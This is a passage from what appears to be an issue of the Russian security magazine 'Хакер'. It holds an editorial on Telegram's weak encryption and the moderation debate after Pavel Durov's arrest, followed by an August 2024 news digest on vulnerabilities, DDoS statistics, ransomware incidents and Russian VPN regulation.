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Арест Павла Дурова во Франции ненадолго
стал новостью номер один и породил мно‐
жество самых разных обсуждений. Среди
них я постоянно слышу две раздражающие
ошибки. Первая — снова и снова повторя‐
ются слова о  том, что
Telegram  —  «защищенный» мессенджер.
Вторая: в  одну кучу валится дискуссия
о праве на защиту приватности и обсужде‐
ние порядка модерации публичных ресур‐
сов.

Неумелое оперирование этими понятиями может завести в  дебри почти
любую дискуссию. Что уж говорить об умелом и намеренно неверном! Я пос‐
тараюсь оставить немного в  стороне политику и  шпионские страсти, чтобы
сосредоточиться только на этих двух моментах.

Первый из  них для  большинства читателей «Хакера», думаю, и  так оче‐
виден. Telegram — это один из наиболее слабо защищенных мессенджеров.
В  нем, конечно, есть возможность создать приватный шифрованный чат,
но такие чаты — лишь мизерный процент трафика.

Да и  приватность в  данном случае лишь условная. Поскольку исходники
серверной части Telegram закрыты, мы не  можем знать, какие метаданные
хранятся и как долго. А в таких случаях можно сразу считать, что все и вечно.

К тому же Telegram требует либо зарегистрироваться через телефонный
номер, либо заплатить тысячу долларов в  криптовалюте (Дуров тут, воз‐
можно, не видит никаких проблем, но для нас, нищебродов, такой фичи счи‐
тай, что нет).

Выходит, что настоящая приватность в  Telegram по  идее достижима,
но лишь при соблюдении множества других условий. Проще уж взять 

 или  один из  по‑настоящему анонимных мессен‐
джеров, о  которых мы неоднократно писали (последний раз по  чистой слу‐
чайности —  ).

Jabber c
плагином для  шифрования

совсем недавно
Если же в логах остается вся нешифрованная переписка с друзьями, бол‐

товня в групповых чатах и инфа о каждом прочитанном посте в каналах, а сре‐
ди этого — запись о том, что ты отошел с кем‑то пошушукаться (причем и ты,
и, скорее всего, собеседник  — не  анонимны), то контекста окажется более
чем достаточно, чтобы разгадать тему беседы.

Поэтому какие‑то «ключи», которые Дуров якобы может кому‑то
передать — это чистая иллюзия. Админы Telegram могут сотрудничать или не
сотрудничать со спецслужбами, но если будут, то речь вовсе не об ослабле‐
нии шифрования (как это было в деле « »). Нужные данные
найдутся без таких сложностей.

Apple против ФБР

Вторая тема чуть менее очевидная. Претензии французских властей
к  Дурову основаны на  том, что Telegram часто используется в  качестве пло‐
щадки для  торговли самыми разными запрещенными субстанциями и  услу‐
гами. За пределами бывших советских и некоторых арабских стран у Telegram
уже устоявшаяся репутация не  удобного мессенджера, а  именно меж‐
дународного подпольного базара, где можно найти все.

И приватные чаты тут лишь дополнительная фича, а  основная  —  это
каналы, гуппы и, в особенности местные чаты. Во многих странах достаточно
буквально пары нажатий, чтобы добраться до  запретного, причем продавец
с большой вероятностью будет в радиусе пары километров.

И вот тут в ответ можно услышать аргумент в духе «нельзя судить владель‐
ца телефонной компании за  то, что люди говорят по  телефону». Только вот
это  никакая не  телефонная компания. Если уж искать аналоги, то каналы
в Telegram — это, скорее, типография, которая печатает что угодно: от полез‐
ных и социально значимых газет до террористических агитлистовок и катало‐
гов борделей. Вряд ли пройдет много времени, прежде чем на пороге такой
типографии нарисуется полиция.

Но Telegram  —  это и  не типография тоже. Это  куда более продвинутое
средство, которое позволяет распространять информацию моментально,
повсеместно и  бесплатно. При  этом в  отличие от  владельца типографии,
Дуров не может быть в курсе всего, что печатается на его платформе...

Вот тут‑то мы наконец‑то и подошли к главному и единственно стоящему
вопросу во  всей этой дискуссии:  должны ли платформодержатели модери‐
ровать то, что пишут люди?

Все крупные площадки это делают в той или иной мере, а также предос‐
тавляют и самим пользователям средства для наведения порядка. В Telegram
кнопка для жалоб тоже есть, но работает она куда слабее, чем у конкурентов,
а иногда не работает и вовсе. Почему?

Может быть, Дуров — убежденный либертарианец, а может быть, он счи‐
тает, что любой новый пользователь  —  это хорошо (тут можно вспомнить
историю о  том, как  загружаемая юзерами музыка прибавила VK популяр‐
ности). А  еще не  исключено, что в  Telegram просто из  экономии не  хотят
нанимать тысячи модераторов. Ну или все перечисленное сразу!

Конечно, кто‑то скажет, что модерация вообще не нужна и только вредит.
Кто знает, возможно, в  будущем люди действительно сойдутся именно
на этом.

Но пока что компания, которая отказывается следить за  порядком сама,
очень сильно подставляется. Если не соответствовать хотя бы минимальным
нормам, то власти с  удовольствием используют это  для демонстра‐
ции — смотрите, мол, какой это рассадник всякой пакости!

И речь не о том, правильно это или нет. В приложении к практике воспри‐
нимать такие вещи стоит как  законы природы. Солнце встает на  востоке,
от перемены давления дует ветер, а правительства не понимают юмора, ког‐
да видят, что какой‑то гражданин сам придумал более справедливые
или выгодные для себя законы и решил жить по ним.

Причем навлекши внимание такого рода, отвертеться будет куда труднее,
и насильственная регуляция окажется жестче, чем могла быть добровольная.
Хуже того: в случае с Telegram может заодно аукнуться и отсутствие нормаль‐
ного шифрования.

В общем, подводя итог: тайна переписки — вещь нужнейшая, и отстаивать
ее стоит всеми возможными способами. Тут нет никаких вопросов. А вот дис‐
куссии по поводу модерации публичных площадок, свободы слова, ее разум‐
ных границ и  механизмов их защиты будет с  нами надолго. Суд
над Дуровым — лишь один из эпизодов, хотя, возможно, и немаловажный.

Конечно, я желаю Павлу оставаться на  свободе и  продолжить прик‐
ручивать к  Telegram новые фичи. Просто потому что это  куда продуктивнее,
чем сидеть в  тюрьме. Но  не повредит, если среди этих фич будут толковые
апгрейды и криптографии, и модерации.

mailto:apismenny@gmail.com
https://xakep.ru/2017/07/21/jabber-otr-howto/
https://xakep.ru/2024/08/27/5-private-messengers/
https://en.wikipedia.org/wiki/Apple%E2%80%93FBI_encryption_dispute
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В этом месяце: Павла Дурова арестовали во  Франции,
в США предложили использовать OSINT для поиска проблем
в  Astra Linux, Роскомнадзор собирается блокировать науч‐
но‑техническую информацию о  VPN, множество процес‐
соров AMD подвержены уязвимости Sinkclose, взломан про‐
изводитель микросхем Microchip Technology Incorporated,
а  также другие интересные события последнего месяца
лета.

ДУРОВ АРЕСТОВАН
24  августа  2024  года Павла Дурова арестовали во  Франции, после того
как  его частный самолет, летевший из  Азербайджана, приземлился в  аэро‐
порту Ле‑Бурже.

Задержание связано с  отсутствием модерации в  Telegram, а  также
нежеланием команды мессенджера сотрудничать с  правоохранительными
органами. По  мнению правоохранителей, вкупе с  предлагаемыми Telegram
инструментами (покупка номеров, криптовалюты и так далее), все это делает
Павла Дурова соучастником множества тяжких преступлений, включая нар‐
которговлю, отмывание денег, терроризм, мошенничество и  преступления
против детей.

Как сообщил французский телеканал TF1, ордер о  задержании Дурова
действовал только на французской территории и вступал в силу, как только он
пересекал границу. При  этом, согласно открытым источникам, у  Дурова
четыре гражданства: России, Сент‑Китс и  Невис, Объединенных Арабских
Эмиратов (ОАЭ) и  Франции. Это  означает, что, как  гражданин Франции, он
не подлежит обмену или экстрадиции.

Ордер был выдан в  рамках предварительного расследования, проводи‐
мого управлением судебной полиции по  делам несовершеннолетних, сооб‐
щает издание Le Figaro. Также сообщалось, что в расследовании принимают
участие и  другие следственные органы, в  том числе занимающиеся делами
о  мошенничестве, торговле наркотиками, кибербуллинге, организованной
преступности, оправдании терроризма, отмывании денег и так далее.

Посольство России в Париже потребовало от французских властей разъ‐
яснить причины задержания Павла Дурова и сообщило, что находится в кон‐
такте с  его адвокатом. Однако в  посольстве отметили, что «французские
власти уклоняются от сотрудничества по этому вопросу».

В МИД России тоже направили ноту с  требованием о  доступе к  Павлу
Дурову, однако Париж рассматривает его французское гражданство
как основное.

Согласно заявлению, опубликованному прокуратурой Парижа, связанное
с Павлом Дуровым расследование было инициировано подразделением про‐
куратуры Парижа JUNALCO (а именно отделом по  борьбе с  киберпрес‐
тупностью) и начато в отношении неназванных лиц еще 8 июля 2024 года.

В пресс‑релизе перечислены  12  составов преступлений, в  связи
с которыми Павла Дурова допрашивают следователи:
• Соучастие в  управлении онлайн‑платформой с  целью проведения

незаконных транзакций в составе организованной группы.
• Отказ предоставить по  запросу компетентных органов информацию

или документы, необходимые для проведения и реализации разрешенных
законом мероприятий по прослушиванию.

• Соучастие в хранении порнографических изображений несовершеннолет‐
них.

• Соучастие в  распространении, предоставлении порнографических изоб‐
ражений несовершеннолетних или  обеспечении доступа к  ним в  составе
организованной группы.

• Соучастие в  приобретении, перевозке, хранении, предоставлении
или сбыте наркотических веществ.

• Соучастие в  предложении, продаже или  предоставлении без  законных
оснований оборудования, инструментов, ПО  или данных, предназначен‐
ных или  адаптированных для  получения доступа и  нанесения ущерба
работе автоматизированных систем обработки данных.

• Соучастие в организованном мошенничестве.
• Преступный сговор с целью совершения преступления или правонаруше‐

ния, за  которое предусмотрено наказание в  виде лишения свободы
на срок 5 и более лет.

• Отмывание доходов, полученных в результате совершения правонаруше‐
ний и преступлений организованной группой.

• Оказание криптографических услуг, направленных на  обеспечение кон‐
фиденциальности без сертифицированного подтверждения.

• Предоставление криптологического инструмента, не  только обеспечива‐
ющего аутентификацию или контроль целостности, без предварительного
декларирования.

• Импорт криптологического инструмента, обеспечивающего аутентифика‐
цию или контроль целостности, без предварительного декларирования.

В настоящее время Павла Дурова  под судебный надзор. Он обя‐
зуется внести залог в  размере  5  миллионов евро, а  также являться
в  полицейский участок два раза в  неделю. Ему запрещено покидать тер‐
риторию Франции.

освободили

Официальное заявление о  ситуации от  представителей Telegram появи‐
лось в официальном канале мессенджера:

«

»

«Telegram соблюдает законы ЕС, включая Закон о  цифровых услугах
(Digital Services Act), и его модерация соответствует отраслевым стан-
дартам и постоянно совершенствуется.

CEO Telegram Павлу Дурову нечего скрывать, и он часто путешес-
твует по Европе.

Абсурдно утверждать, что платформа или  ее владелец несут
ответственность за злоупотребления на этой платформе.

Почти миллиард пользователей по  всему миру используют
Telegram как средство общения и источник важной информации.

Мы ждем скорейшего разрешения этой ситуации. Telegram
с вами».

Арест Павла Дурова прокомментировал и  президент Франции Эмманюэль
Макрон, который подчеркнул, что арест главы Telegram произошел в рамках
продолжающегося судебного расследования и  не является политическим
решением.

«

»

«Я читаю ложные заявления о  Франции в  связи с  арестом Павла
Дурова.

Франция, как никогда, привержена свободе слова и коммуникаций,
инновациям и предпринимательству. И останется таковой впредь.

В правовом государстве в социальных сетях, как и в реальной жиз-
ни, свободы реализуются в  рамках, установленных законом
для защиты граждан и соблюдения их основных прав.

Обеспечение соблюдения закона возложено на суды, обладающие
полной независимостью.

Арест главы Telegram на территории Франции произошел в рамках
продолжающегося судебного расследования. Это  ни в  коем случае
не  политическое решение. Решения должны выносить судьи»,  —
пишет Макрон.

Также об аресте Дурова уже высказались многие известные люди, в том чис‐
ле:
• Илон Маск  освободить основателя Telegram и  форсит хештег

#FreePavel.
призвал

• Виталик Бутерин  происходящее «очень плохим и тревожным» зна‐
ком для будущего софта и свободы коммуникаций в Европе.

назвал

• Ким Дотком пишет, что «приватность — не преступление», и на всякий слу‐
чай  всех делать бэкапы и очищать свои аккаунты в Telegram.призывает

• Эдвард Сноуден , что арест Дурова «является посягательством
на основные права человека, а также свободу слова и собраний».

заявил

 DDOS-АТАК НА БАНКИ50 000

В ГК «Солар» подсчитали, что количество DDoS-атак на  российские кредитно‑финансовые
организации в июле 2024 года выросло более чем в  . Если с января по июнь 2024 года
банки сталкивались в среднем с   DDoS-атак в месяц, то в июле их число выросло
почти до  . Целями атак стали более  банков, включая лидеров отрасли.

10 раз
3000–5000

50 000 60

При этом за  счет атак на  банки общее количество DDoS-атак в  России выросло практически
в два раза — с   в июне до   в июле 2024 года.56 000 96 000

По прогнозам специалистов, число DDoS-атак на  банковскую отрасль будет постепенно сни‐
жаться и в ближайшее время будет держаться на уровне  в день.2000

КРИТИЧЕСКАЯ
УЯЗВИМОСТЬ
В TCP/IP
Компания Microsoft предупредила пользователей об  исправлении критичес‐
кой уязвимости TCP/IP, допускавшей удаленное выполнение произвольного
кода. Проблема затрагивает все Windows-системы, использующие протокол
IPv6, включенный по умолчанию.

Уязвимость была обнаружена специалистами Kunlun Lab и получила иден‐
тификатор . Баг связан с целочисленным антипереполнени‐
ем (integer underflow), которое может использоваться злоумышленниками
для переполнения буфера и последующего выполнения произвольного кода
в системах под управлением Windows 10, Windows 11 и Windows Server.

CVE-2024-38063

Исследователи решили не  раскрывать детали уязвимости в  ближайшее
время, так как  проблема опасна и  пользователям нужно дать больше вре‐
мени на  установку патчей. При  этом в  Kunlun Lab отметили, что блокировка
IPv6  на  уровне локального брандмауэра Windows не  остановит эксплоиты,
поскольку уязвимость проявляется еще до срабатывания защиты.

Как объясняют в Microsoft, неавторизованные злоумышленники могут уда‐
ленно использовать эту проблему в  атаках низкого уровня сложности, мно‐
гократно отправляя специально подготовленные пакеты IPv6. Также в  ком‐
пании предупредили, что эксплуатация этого бага весьма вероятна, то есть
злоумышленники могут создать эксплоит для  использования уязвимости
в атаках.

Тем, кто по  какой‑то причине не  сможет сразу установить исправления,
в  компании рекомендуют отключить IPv6  вовсе, чтобы избежать риска воз‐
можных атак.

При этом на сайте поддержки Microsoft указано, что стек сетевых протоко‐
лов IPv6  является «неотъемлемой частью Windows Vista, Windows Server
2008 и более новых версий ОС» и не рекомендуется отключать IPv6 или его
компоненты, поскольку это  может спровоцировать некорректную работу
некоторых компонентов ОС.

Специалисты Trend Micro Zero Day Initiative сообщили, что уязвимость CVE-
2024-38063 — одна из наиболее серьезных проблем, исправленных Microsoft
в этом месяце, и предостерегли, что баг обладает потенциалом червя.

«

»

«Самой серьезной в этом месяце, вероятно, стала ошибка в TCP/IP,
которая позволяет удаленному злоумышленнику, не  прошедшему
аутентификацию, добиться выполнения кода, просто отправляя спе-
циально подготовленные пакеты IPv6  цели,  — пишут эксперты.  —
Это означает, что проблема обладает потенциалом червя. Вы можете
отключить IPv6, чтобы предотвратить эксплуатацию, но  IPv6  включен
по умолчанию практически на всех устройствах».

СКОЛЬКО СТОИТ БОТНЕТ?
Аналитики «Лаборатории Касперского» изучили объявления о предоставлении услуг, связанных
с ботнетами в даркнете и специализированных Telegram-каналах.

Выяснилось, что самая низкая цена за  использование ботнета составила  долларов США,
а самая высокая —  долларов США.
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Что касается аренды ботнетов, стоимость такой услуги варьируется от   до   долларов
США в месяц.

30 4800

Ботнеты, исходники которых утекли в сеть, являются наиболее доступными: доступ к ним мож‐
но получить  или за почти символическую плату: от   до   долларов США.бесплатно 10 50

Стоимость создания ботнета по индивидуальному заказу, с нуля, начинается от   долларов
США.

3000

В целом среди распространенных вариантов коммерческого использования ботнетов перечис‐
ляют , , а также приобретение 
с утекшим исходным кодом.

сдачу в аренду разработку на заказ дешевых ботнетов

OSINT ПРОТИВ ASTRA
LINUX
В блоге Совета по международным отношениям (Council on Foreign Relations,
CFR) была опубликована , посвященная импортозамещению в РФ. Ее
автор призвал использовать разведку по открытым источникам для изучения
защищенности Astra Linux, на  что вскоре отреагировали представители
«Группы Астра».

статья

CFR позиционирует себя как  независимую организацию в  сфере меж‐
дународных связей, а  в состав ее совета директоров входят бывшие раз‐
ведчики, журналисты и  представители деловых кругов (к примеру, финан‐
совый директор Alphabet).

Автором текста, посвященного импортозамещению в  России и  усилива‐
ющемуся влиянию китайских технологий, выступил некто Джастин Шерман
(Justin Sherman), при этом отмечается, что это «приглашенный автор».

Внимание российских СМИ привлекла та часть текста, где Шерман пред‐
лагает США и их партнерам использовать разведку по открытым источникам
(open source intelligence, OSINT) для анализа происходящего на российском
рынке. К  примеру, предлагается изучать информацию с  российских кибер‐
конференций, а также государственные контракты и партнерства.

Отдельное внимание Шерман уделил операционной системе Astra Linux,
он пишет:

«

»

«Аналитики в  Соединенных Штатах и  странах‑партнерах должны
использовать данные из открытых источников, чтобы понять, как Рос-
сия внедряет такие технологии, как операционная система Astra Linux.
Astra Linux широко применяется в  российских военных и  разведыва-
тельных системах, что, вероятно, создает уязвимости, которые могут
использоваться в широких масштабах. Кроме того, это адаптирован-
ная и (предположительно) усиленная версия ОС с открытым исходным
кодом. При переходе на китайские и отечественные продукты Россия
теряет доступ к  талантам в  области ИБ из  США, Западной Европы,
Японии и  других стран. Вероятно, разработчики Astra Linux имеют
меньше возможностей для  тестирования и  защиты своего кода
за счет широкой аудитории. Для Соединенных Штатов и их союзников
это  может стать сферой, где они смогут получить преимущество
в киберпространстве».

После того как эта публикация CFR привлекла внимание СМИ, представители
«Группы Астра» опубликовали официальный ответ, в котором сообщили, что
«призывы со  стороны иностранных агитационных ресурсов в  очередной раз
подтвердили верность нашей бизнес‑стратегии, ориентированной в  первую
очередь на создание безопасных решений, усиленных собственными средс‐
твами защиты информации».

«

»

«Информационная безопасность зашита в  ДНК „Астры“  — это  наш
ключевой приоритет. Он не определяется геополитической конъюнкту-
рой: мы занимаемся вопросами защищенности своих продуктов пос-
тоянно, чтобы отвечать высоким требованиям регуляторов и клиентов.

Но в  текущих реалиях, когда число кибератак на российскую кри-
тическую инфраструктуру кратно возросло, мы продолжим развивать
и  усиливать наши технологии защиты, укреплять внутреннюю
инфраструктуру безопасной разработки, а также инструментарий про-
верки и анализа кода.

„Группа Астра“ располагает достаточными ресурсами для  тес-
тирования кода, оперативного устранения уязвимостей, уделяет боль-
шое внимание таким технологиям, как мандатное разграничение дос-
тупа и контроль целостности, замкнутая программная среда, и другим
средствам защиты. Мы плотно взаимодействуем с центром безопас-
ности ядра Linux Института системного программирования РАН. Год
назад мы запустили программу Bug Bounty, которая позволяет выяв-
лять и оперативно устранять слабые места в наших средствах защиты
информации.

В связи со  сложившейся международной обстановкой также уси-
лены меры по  выявлению вредоносных включений в  программное
обеспечение, проводится дополнительный антивирусный контроль
с  применением нескольких специализированных средств»,  — гласит
заявление.

Также подчеркивается, что российские регуляторы, «осознавая важность
информационной безопасности и  технологического суверенитета», нак‐
ладывают жесткие требования на  разработчиков средств защиты информа‐
ции.

«

»

«В частности, это  касается процессов разработки безопасного прог-
раммного обеспечения и оперативного устранения уязвимостей. При-
оритеты в  сфере информационной безопасности (ИБ) у  бизнеса
и государства совпадают, во многом благодаря усилиям Федеральной
службы по  техническому и  экспортному контролю (ФСТЭК России),
которая существенно модернизировала требования к  ИБ компаний
и лидирует направление в области разработки безопасного програм-
много обеспечения. ОС Astra Linux сертифицирована ФСТЭК России
по  первому уровню доверия и  классу защиты. Это  подтверждает
высокие результаты нашей деятельности по  обеспечению ИБ»,  —
пояснили в «Группе Астра».

В конце представители компании напомнили, что защищенность
ИТ‑инфраструктуры зависит от  всего комплекса средств ИБ, который при‐
меняется в  организации (а не  только в  ОС), а  также от  того, насколько эти
продукты интегрированы и усиливают друг друга.

«

»

«Поэтому со своей стороны „Группа Астра“ настоятельно рекомендует
заказчикам использовать весь комплекс средств защиты информации,
необходимый для  защиты информации с  учетом конкретной модели
угроз, правильно выбирать режимы функционирования, внимательно
следовать рекомендациям и методическим инструкциям по настройке
безопасности средств защиты информации, в  том числе ОС Astra
Linux, и своевременно применять обновления, направленные на устра-
нение потенциальных уязвимостей», — резюмировали в компании.

PWNIE ДЛЯ CROWDSTRIKE
В Лас‑Вегасе прошла хакерская конференция DEF CON, на  которой традиционно объявили
победителей премии Pwnie Award. Награда за самый эпичный провал (Most Epic Fail) была при‐
суждена компании CrowdStrike, и  ее получил лично президент компании Майкл Сентонас
(Michael Sentonas).

Напомним, что в  середине июля  2024  года обновление enterprise-решения CrowdStrike
Falcon Sensor  к  тому, что миллионы Windows-систем показали «синий экран смерти»
(BSOD).

привело

→ «Мы неоднократно повторяли, что очень важно признавать, когда вы сделали
что‑то хорошо. Но очень важно признавать и то, что вы сделали что‑то ужасно
неправильное, что и произошло в данном случае.

Причина, по  которой я хотел получить трофей, такова: я возвращаюсь
в  штаб‑квартиру. Я собираюсь взять этот трофей с  собой. Он будет стоять
на  самом видном месте, потому что я хочу, чтобы каждый сотрудник
CrowdStrike, приходящий на  работу, видел его. Ведь наша цель  — защищать
людей, а мы допустили ошибку. Я хочу убедиться, что все понимают, что такое
нельзя допускать и именно в этом заключается суть нашего сообщества.

Так что с этих позиций я скажу вам спасибо и заберу трофей. Мы поставим
его в нужном месте и убедимся, что все его увидят», —

заявил Сентонас собравшимся на DEF CON, и публика встретила речь и откровенность главы
CrowdStrike бурными аплодисментами.

Продолжение статьи
→
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БЛОКИРОВКА
ИНФОРМАЦИИ О VPN
В Роскомнадзоре подготовили проект приказа, согласно которому научная,
научно‑техническая и статистическая информация о VPN-сервисах для обхо‐
да блокировок будет признана запрещенной в  РФ. Исключение будет сде‐
лано только для информации о VPN, которые используются для обеспечения
защищенного удаленного доступа.

Проект предполагает, что приказ вступит в  силу с  1  марта  2025  года
и будет действовать до 1 сентября 2029 года.

Напомним, что с  1  марта  2024  года действует ,
по которому РКН может блокировать сайты с информацией о методах и спо‐
собах использования запрещенных ресурсов и  рекламой соответствующих
программ.

приказ Роскомнадзора

Однако сейчас критерии для  включения в  реестр запрещенных ресурсов
не применяются «в отношении научной, научно‑технической и статистической
информации о  способах, методах обеспечения доступа к  информационным
ресурсам и/или информационно‑телекоммуникационным сетям, доступ
к которым ограничен на территории России».

В новой редакции приказа предлагается изменить этот пункт, чтобы кри‐
терии не  применялись «в отношении научной, научно‑технической и  статис‐
тической информации о  способах, методах обмена информацией
в  информационно‑телекоммуникационных сетях, в  том числе в  сети
„Интернет“, при  обеспечении доступа к  информационным ресурсам и/или
информационно‑телекоммуникационным сетям с применением защищенных
каналов связи».

Со ссылкой на  норму ФЗ № 149 «Об информации», которая запрещает
информацию «о способах, методах обеспечения доступа к информационным
ресурсам и/или информационно‑телекоммуникационным сетям, доступ
к которым ограничен на территории РФ», Роскомнадзор пишет, что под нее
«попадают также VPN-сервисы, обеспечивающие доступ к заблокированным
информационным ресурсам и/или информационно‑телекоммуникационным
сетям».

«

»

«Таким образом, должна признаваться запрещенной также научная,
научно‑техническая информация, описывающая способы создания,
устройства VPN-сервисов, целью которых является предоставление
лицам доступа к  информационным ресурсам и/или информацион-
но‑телекоммуникационным сетям, доступ к  которым ограничен
на  территории Российской Федерации, — пишут авторы нового про-
екта в пояснительной записке. — Исходя из формулировки подпункта
„м“ пункта 1 части 5 статьи 15 Федерального закона № 149-ФЗ, дос-
туп к  такой научной, научно‑технической информации должен под-
лежать ограничению».

При этом в  РКН добавляют, что «VPN-сервисы могут разрабатываться
и использоваться только для обеспечения защищенного доступа к информа‐
ционным ресурсам и/или защищенного обмена информацией в  информа‐
ционно‑телекоммуникационных сетях» и  такие сервисы не  предназначены
для  обхода блокировок, а  «используются для  защиты конфиденциальной
информации, в том числе для предотвращения утечки такой информации».

«
»

«В таких целях VPN-сервисы используются, в частности, государствен-
ными органами, органами местного самоуправления, коммерческими
предприятиями, в  том числе организациями финансовой сферы.
В  связи с  этим проектом приказа предлагается изложить под-
пункт  5  пункта  5  Критериев в  новой редакции»,  — сказано в  пояс-
нительной записке.

 АВТОРОВ СТАЛКИВАЛИСЬ С ПИРАТСТВОМ95%

По данным платформы самиздата «Литнет»,  авторов в России сталкивались с незаконным
распространением своих книг. Причем  опрошенных авторов встречали свои произве‐
дения на пиратских ресурсах в первую же неделю после публикации.

95%
61%

Однако  авторов говорят об  улучшении ситуации по  противодействию пиратству
в  2024  году, об  ухудшении заявили только  респондентов, а   считают, что ситуация
не меняется.

48%
8% 44%

По словам члена правления Ассоциации по защите авторских прав в интернете (АЗАПИ) Мак‐
сима Рябыко, после включения издателей в антипиратский меморандум в 2023 году претензии
от АЗАПИ получили  сайтов, из них  (53,85%) удалили пиратский контент.2256 1215

Во втором квартале 2024 года, по его словам, процент сайтов, удаляющих контент по претен‐
зиям, составлял .52,10%

УЯЗВИМОСТИ
В OPENVPN
На конференции Black Hat USA 2024 представители Microsoft рассказали сра‐
зу о  четырех уязвимостях в  OpenVPN. Эти проблемы можно объединить
в  цепочку, что позволит добиться удаленного выполнения кода (RCE)
и локального повышения привилегий (LPE).

«
»

«Такая атака может позволить злоумышленникам получить полный
контроль над  целевыми эндпоинтами, что потенциально может при-
вести к утечке данных, компрометации системы и несанкционирован-
ному доступу к конфиденциальной информации», — рассказывает Вла-
димир Токарев из Microsoft Threat Intelligence Community.

При этом отмечается, что эксплоит, представленный на  конференции, тре‐
бует аутентификации и глубокого понимания внутренних механизмов работы
OpenVPN.

Перечисленные ниже уязвимости затрагивают все версии OpenVPN
вплоть до 2.6.10 и 2.5.10, где они были устранены.
•  — уязвимость переполнения стека, приводящая к отказу

от обслуживания (DoS) и локальному повышению привилегий в Windows.
CVE-2024-27459

•  — проблема несанкционированного доступа к именован‐
ному каналу \\\openvpn\\\service в Windows, допускающая удаленное вза‐
имодействие и запуск операций.

CVE-2024-24974

•   — уязвимость в  механизме плагинов, приводящая
к  выполнению произвольного кода в  Windows, а  также локальному
повышению привилегий и  манипулированию данными в  Android, iOS,
macOS и BSD.

CVE-2024-27903

•   — уязвимость переполнения памяти, приводящая к  DoS
в Windows.
CVE-2024-1305

Первые три проблемы связаны с  компонентом openvpnserv, а  последняя  —
с драйвером Windows Terminal Access Point (TAP).

Все уязвимости можно использовать сразу после того, как  злоумыш‐
ленник получил доступ к учетным данным OpenVPN. Отмечается, что сделать
это  можно различными способами, включая покупку данных в  даркнете,
использование инфостилеров и другой малвари, сниффинг сетевого трафика
для получения хешей NTLMv2 (и их последующего декодирования с помощью
таких инструментов, как hashcat или John the Ripper).

«

»

«Злоумышленник может использовать как  минимум три из  четырех
обнаруженных уязвимостей для создания эксплоитов, способствующих
RCE и LPE, которые затем могут быть соединены вместе для создания
мощной цепочки атак,  — отметил Токарев, добавив, что после
повышения привилегий атакующие могут перейти к  таким техникам,
как Bring Your Own Vulnerable Driver (BYOVD). — Таким образом ата-
кующий сможет, например, отключить Protect Process Light (PPL)
для  критически важного процесса, такого как  Microsoft Defender,
а  также обойти или  вмешаться в  работу других критически важных
процессов в системе».

ВРЕДОНОСЫ В ПИСЬМАХ
Специалисты FACCT проанализировали вредоносные почтовые рассылки, которые злоумыш‐
ленники распространяли во втором квартале 2024 года.

С апреля по июнь фишинговые письма чаще всего рассылались , а в  рас‐
сылок малварь была скрыта во вложениях.

по четвергам 97%

Атакующие все чаще используют легенды, связанные с Россией и СНГ. Так, в 2024 году более
 фишинговых рассылок, которые приходят российским компаниям, были написаны на рус‐

ском или другом языке стран СНГ, а их содержимое адаптировали под местные цели.
13%

Несмотря на постепенное снижение количества рассылок через бесплатные почтовые сервисы,
киберпреступники продолжают их использовать. Так, во втором квартале доля Gmail в фишин‐
говых рассылках сократилась с   до  , а вот доля российских сервисов выросла почти
в три раза — с   до  .

80,4 49,5%
13,1 35,3%

Для доставки малвари на конечные устройства используются вложения (в  случаев). Архи‐
вы форматов .rar, .zip, .7z и другие остаются самыми популярными решениями для этих целей
(в общей сложности их доля составляет ).

97%

81,4%

Чаще всего через почтовые рассылки распространяются инструменты для сбора данных и шпи‐
онажа. Лидируют по‑прежнему спайварь Agent Tesla (в  вредоносных рассылок), заг‐
рузчик CloudEyE ( ), стилер FormBookFormgrabber ( ).

56,1%
11% 10,5%

ВЗЛОМАНА
MICROCHIP
TECHNOLOGY
Американский производитель микросхем Microchip Technology Incorporated
сообщил, что на  его системы была совершена кибератака, нарушившая
работу сразу нескольких производственных объектов.

У компании насчитывается около  123  тысяч клиентов в  самых разных
отраслях, включая промышленную, автомобильную, потребительскую, аэро‐
космическую и оборонную, коммуникационную и вычислительную.

Из‑за инцидента некоторые производственные площадки Microchip
Technology работали не  в полную силу, что повлияло на  способность ком‐
пании выполнять заказы. Кроме того, Microchip Technology пришлось принять
меры по  урегулированию ситуации, а  именно отключить и  изолировать
некоторые пострадавшие от взлома системы.

«

»

«17  августа  2024  года компания Microchip Technology Incorporated
заметила подозрительную активность в  своих ИТ‑системах. Обна-
ружив проблему, компания начала принимать меры по  оценке,
локализации и  устранению потенциально несанкционированной
активности, — говорится в заявлении Microchip Technology, поданном
в  Комиссию по  ценным бумагам и  биржам США.  —
19  августа  2024  года было установлено, что неавторизованная сто-
рона помешала компании использовать некоторые серверы и  осу-
ществлять некоторые бизнес‑операции».

В настоящее время Microchip Technology изучает масштабы и  последствия
атаки, а к делу привлечены внешние ИБ‑эксперты. Также компания работает
над восстановлением пострадавших ИТ‑систем и возвращением к нормаль‐
ной работе.

Хотя пока в компании не раскрывают подробности инцидента, в заявлении
сказано, что атака связана с  неназванной программой‑вымогателем. Пока
ни одна хакерская группа не взяла на себя ответственность за случившееся.

УДАЛЕННАЯ РАБОТА МЕШАЕТ РАЗВИТИЮ ИИ
Выступая перед  студентами Стэнфордского университета, бывший генеральный директор
Google Эрик Шмидт (Eric Schmidt) ответил на вопрос о том, почему Google отстает от конкурен‐
тов в области ИИ. По его мнению, корень проблемы — это удаленная работа.

→ «Google решила, что баланс между работой и  личной жизнью, ранний уход
домой и  работа из  дома важнее победы. А  причина, по  которой у  стартапов
получается, заключается в том, что люди в них работают как проклятые.

Простите за  прямоту. Но  если вы бросите университет и  попытаетесь соз‐
дать cобственную компанию, не  позволяйте людям работать из  дома и  при‐
ходить (в офис) только один день в  неделю, если вы хотите конкурировать
с другими стартапами», — заявил Шмидт.

Это высказывание вызвало шквал критики в  СМИ и  социальных сетях, после чего доступ
к видео с выступлением Шмидта на официальном YouTube-канале Стэнфорда был закрыт.

→ «Я неправильно выразился, когда говорил о  Google и  их рабочих часах. Я
сожалею о своей ошибке», — позже сообщил Шмидт представителям СМИ.

SINKCLOSE
УГРОЖАЕТ AMD
Продукты компании AMD подвержены серьезной уязвимости Sinkclose,
которая затрагивает несколько поколений процессоров EPYC, Ryzen
и Threadripper. Проблема позволяет злоумышленникам с привилегиями уров‐
ня ядра (Ring 0) получить привилегии Ring -2, что может использоваться
для установки малвари, которую практически невозможно обнаружить.

Ring -2  — один из  самых высоких уровней привилегий на  компьютере,
который стоит выше Ring -1 (используется для  гипервизоров и  виртуали‐
зации) и Ring 0 — уровня привилегий, используемого ядром ОС.

В современных процессорах уровень привилегий Ring -2 связан с функци‐
ей System Management Mode (SMM). SMM управляет питанием, контролирует
